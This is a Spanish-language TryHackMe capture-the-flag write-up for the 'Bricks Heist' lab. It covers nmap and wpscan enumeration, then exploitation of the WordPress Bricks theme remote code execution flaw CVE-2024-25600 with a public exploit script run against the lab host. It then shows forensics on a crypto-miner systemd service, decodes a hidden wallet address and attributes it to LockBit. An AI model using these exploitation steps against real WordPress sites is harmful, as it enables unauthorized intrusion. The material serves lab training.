anjai7/tryhack3m-bricks-heistReporte de CTF de TryHackMe — WordPress RCE mediante CVE-2024-25600, forense de minero de criptomonedas e identificación del grupo de ransomware LockBit
objetivo:10.201.6.98 enumeración
nmap -A 10.201.6.98
ya que hay un wordpress con nombre "brick by brick" y el nombre de esta sala es brick, probablemente sea donde podemos encontrar la vulnerabilidad
así que enumeremos wordpress
wpscan --url https://bricks.thm --disable-tls-checks
ejecutarlo con tls-checks no funcionará
aquí otra referencia a brick, veamos si este tema tiene alguna vulnerabilidad
busca bricks 1.9.5 vulnerability y verás un RCE y en la sala puedes ver RCE CVE como clave, por lo que probablemente sea la ruta correcta
CVE
CVE-2024-25600 https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT usé el código de este repositorio
python CVE-2024-25600.py --url https://bricks.thm --threads 10
también necesitas instalar algunos módulos
luego podemos obtener la primera respuestaShell> ls -la

ahora encontramos la respuesta a la 1ª pregunta pasemos a la segunda

ya que no puedo encontrar la respuesta a la segunda pregunta, pasé a la tercera y descubrí que era
ubuntu.service loaded active running TRYHACK3M
luego usé esto para encontrar la respuesta a la tercera pregunta
Shell> systemctl cat ubuntu.service
# /etc/systemd/system/ubuntu.service
[Unit]
Description=TRYHACK3M
[Service]
Type=simple
ExecStart=/lib/NetworkManager/nm-inet-dialog
Restart=on-failure
[Install]
WantedBy=multi-user.target
a continuación tenemos que encontrar la instancia del minero ya que
ExecStart=/lib/NetworkManager/nm-inet-dialog
veamos el directorio ==/lib/NetworkManager==
y en ese, inet.conf tiene esto
ahora que sabemos que inet.conf es la instancia, busquemos la dirección de billetera asociada
strings /lib/NetworkManager/inet.conf | grep -E '[13][a-km-zA-HJ-NP-Z1-9]{25,34}|4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}'
podemos ejecutar este comando para encontrar la ID
está encriptada, así que tenemos que descifrarla
echo 5757314e65474e5962484a4f656d787457544e424e574648555446684d3070735930684b616c70555a7a566b52335276546b686b65575248647a525a57466f77546b64334d6b347a526d685a6255313459316873636b35366247315a4d30453159556447
6130355864486c6157454a3557544a564e453959556e4a685246497a5932355363303948526a4a6b52464a7a546d706b65466c525054303d | xxd -r -p | base64 -d
bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa
y esta es la ID de la billetera
https://www.blockchain.com/explorer
luego podemos buscar esta ID en este sitio web para encontrar el receptor de grandes cantidades
luego podemos buscar al receptor ==32pTjxTNi7snk8sodrgfmdKao3DEn1nVJM==
en google
como podemos ver, el grupo es lockbit
